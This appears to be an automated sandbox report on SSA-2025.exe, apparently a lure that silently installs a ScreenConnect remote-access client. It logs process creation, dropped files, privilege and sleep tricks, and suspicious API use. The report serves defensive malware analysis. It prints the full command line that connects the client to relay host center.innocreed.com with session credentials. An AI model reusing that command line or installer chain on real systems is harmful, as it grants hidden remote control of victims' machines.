Source: SSA-2025.exe, 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameScreenConnect.Core.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibwebp.dllB vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamezlib.dll2 vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameScreenConnect.Windows.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameScreenConnect.WindowsInstaller.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2191890596.0000000005210000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameScreenConnect.Core.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2181606363.0000000002B40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameDotNetResolver.exe4 vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2195384007.00000000056CC000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2195384007.00000000056CC000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSfxCA.dllL vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2195384007.00000000056CC000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamewixca.dll\ vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2195384007.00000000056CC000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameScreenConnect.ClientInstallerRunner.exe< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2192468053.00000000052E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamelibwebp.dllB vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2192468053.00000000052E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamezlib.dll2 vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2192468053.00000000052E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameScreenConnect.Windows.dll< vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameScreenConnect.Core.dll< vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenamelibwebp.dllB vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenamezlib.dll2 vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameScreenConnect.Windows.dll< vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameScreenConnect.WindowsInstaller.dll< vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameSfxCA.dllL vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenamewixca.dll\ vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameScreenConnect.ClientInstallerRunner.exe< vs SSA-2025.exe
Source: SSA-2025.exe	Binary or memory string: OriginalFilenameDotNetResolver.exe4 vs SSA-2025.exe

Source: ScreenConnect.WindowsBackstageShell.exe.3.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.3.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.3.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: ScreenConnect.Windows.dll.3.dr, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.3.dr, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.3.dr, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.3.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Mutant created: NULL
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0

Source: SSA-2025.exe	String found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2
Source: SSA-2025.exe	String found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2)

Source: unknown	Process created: C:\Users\user\Desktop\SSA-2025.exe "C:\Users\user\Desktop\SSA-2025.exe"
Source: C:\Users\user\Desktop\SSA-2025.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\b396bb1a05b88972\ScreenConnect.ClientSetup.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 77996A92415BC7E4E56BE4DDF3B31CAF C
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSI5068.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_5329125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C8D888593058E7DDA6859E14664551F4
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 182E158D48F4BA225447276ED56B56FB E Global\MSI0000
Source: unknown	Process created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=center.innocreed.com&p=8041&s=6c62cec4-0045-44a2-9676-9cabae1b6b1b&k=BgIAAACkAABSU0ExAAgAAAEAAQD5eiIqIHsxbbvJUJju2o82x7Ep34oIQZtumNOfmF4LM6HXDbFuI5yxLKcIMB7dVhdMHCECqOoo0CzNTHKap5C2TNY0NNPZSQkyEv%2f%2fVaER%2b7e3LLhtH54iO65DKzgoQuj%2blt0GlYT7ExfyVq3FDxa2kOFj%2fgCEmsxgZjF%2f36qxt%2fdj%2bLbZb74bn%2bsm3SuHGI%2baXhPLm9qVqNy%2bY1x3H93WEGpGAakvhPnn0jZJGWrhcpCZG4tJ5sZjStPGzqo3h%2bo1QwwVG03T%2b1Dz72fUu9PeY5InprNAq1NGXCTH4b9yyDiryDlWVdI4XdnjPUI4WFw6QLO%2bUacmvAbLHh0v8nyd"
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe" "RunRole" "d9b4ef3e-cffc-4b3d-b5e1-180b85b6a477" "User"
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe" "RunRole" "fffce9a5-b0ba-47fb-9648-3719b7db50ee" "System"
Source: C:\Users\user\Desktop\SSA-2025.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\b396bb1a05b88972\ScreenConnect.ClientSetup.msi"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 77996A92415BC7E4E56BE4DDF3B31CAF C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C8D888593058E7DDA6859E14664551F4	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 182E158D48F4BA225447276ED56B56FB E Global\MSI0000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSI5068.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_5329125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe" "RunRole" "d9b4ef3e-cffc-4b3d-b5e1-180b85b6a477" "User"	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe" "RunRole" "fffce9a5-b0ba-47fb-9648-3719b7db50ee" "System"	Jump to behavior

Source: SSA-2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SSA-2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SSA-2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SSA-2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SSA-2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SSA-2025.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SSA-2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SSA-2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SSA-2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SSA-2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SSA-2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: SSA-2025.exe	Static PE information: real checksum: 0x54d1c1 should be: 0x56874f
Source: MSI5068.tmp.2.dr	Static PE information: real checksum: 0x2f213 should be: 0x1125d0

Source: ScreenConnect.WindowsAuthenticationPackage.dll.3.dr	Static PE information: section name: _RDATA
Source: ScreenConnect.WindowsCredentialProvider.dll.3.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5CAE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsAuthenticationPackage.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.Compression.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.InstallerActions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.WindowsInstaller.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsCredentialProvider.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI56F0.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.Compression.Cab.dll	Jump to dropped file

Source: SSA-2025.exe, 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: SSA-2025.exe, 00000000.00000002.2192468053.00000000052E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: rundll32.exe, 00000005.00000003.2185984964.000000000514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.3434546614.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284665209.0000000002352000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283881480.0000000000A10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284864737.00000000024B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2305741681.000000001B3E2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: SSA-2025.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.Windows.dll.5.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.Windows.dll.3.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 10F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 6360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 5AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 7360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 8360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 6360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 6360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SSA-2025.exe	Memory allocated: 85F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Memory allocated: 18E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Memory allocated: 1F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Memory allocated: 1CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Memory allocated: 17A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Memory allocated: 1B2E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Memory allocated: 9D0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Memory allocated: 1A4B0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\SSA-2025.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SSA-2025.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Privilege Escalation

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SSA-2025.exe

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5CAE.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.Compression.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsAuthenticationPackage.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.InstallerActions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.WindowsInstaller.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsCredentialProvider.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI56F0.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.Compression.Cab.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SSA-2025.exe TID: 6220	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe TID: 4196	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SSA-2025.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Process token adjusted: Debug			Jump to behavior

Source: ScreenConnect.ClientService.dll.3.dr, ClientService.cs	Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.3.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.3.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.3.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.3.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)

Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2232490570.0000000000FF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.WindowsClient.exe.3.dr	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2232490570.0000000000FF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.WindowsClient.exe.3.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\SSA-2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\Microsoft.Deployment.WindowsInstaller.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.InstallerActions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSI5068.tmp-\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
